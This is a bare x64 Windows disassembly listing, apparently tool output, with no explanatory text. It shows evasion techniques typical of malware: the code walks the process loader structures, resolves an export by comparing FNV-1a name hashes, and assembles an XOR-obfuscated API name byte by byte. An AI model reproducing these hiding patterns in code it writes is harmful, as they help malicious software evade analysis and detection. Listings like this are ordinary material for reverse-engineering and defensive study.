nop word [rax + rax]
movsxd rax, edx
lea rcx, [rbp + 0x58]
add rcx, rax
lea eax, [rdx + 0x51]
xor byte [rcx], al
inc edx
cmp edx, 0xc
jb 0x14004af90
mov byte [rbp + 0x64], 0
lea rdx, [rbp + 0x58]
mov rcx, r14
call rbx
mov r13, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14004b046
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14004b046
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14004b041
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14004b020
cmp r8d, 0xf8f45725
je 0x14004b04b
test r9d, r9d
jne 0x14004b000
mov rcx, qword [rcx]
jmp 0x14004afd0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, r10
xor edx, edx
mov cl, 0x53
call fcn.140048c80
mov byte [rbp + 0x38], al
mov edx, 1
mov cl, 0x68
call fcn.140048c80
mov byte [rbp + 0x39], al
mov edx, 2
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140048c80
mov byte [rbp + 0x3a], al
mov edx, 3
mov cl, 0x77
call fcn.140048c80
mov byte [rbp + 0x3b], al
mov edx, 4
mov cl, 0x57
call fcn.140048c80
mov byte [rbp + 0x3c], al
mov edx, 5
mov cl, 0x69
call fcn.140048c80
mov byte [rbp + 0x3d], al
mov edx, 6
mov cl, WSAGetLastError
call fcn.140048c80
mov byte [rbp + 0x3e], al
mov edx, 7
mov cl, 0x64
call fcn.140048c80
mov byte [rbp + 0x3f], al
mov edx, 8
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140048c80
mov byte [rbp + 0x40], al
mov edx, 9
mov cl, 0x77
call fcn.140048c80
mov byte [rbp + 0x41], al
xor eax, eax
mov byte [rbp + 0x42], al
mov edx, esi
nop dword [rax]
movsxd rax, edx
lea rcx, [rbp + 0x38]
add rcx, rax
lea eax, [rdx + 0x51]
xor byte [rcx], al
inc edx
cmp edx, 0xa
jb 0x14004b100
mov rax, qword [rbp + 0xa8]
movabs rcx, 0xff0f0ff0f0ff00f
xor rax, rcx
lea rcx, [rbp + 0xf8]
mov qword [rcx], rax
mov rcx, qword [rbp + 0xc0]
xor rcx, rsp
call fcn.1400a69c0
lea r11, [rsp + 0x1d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret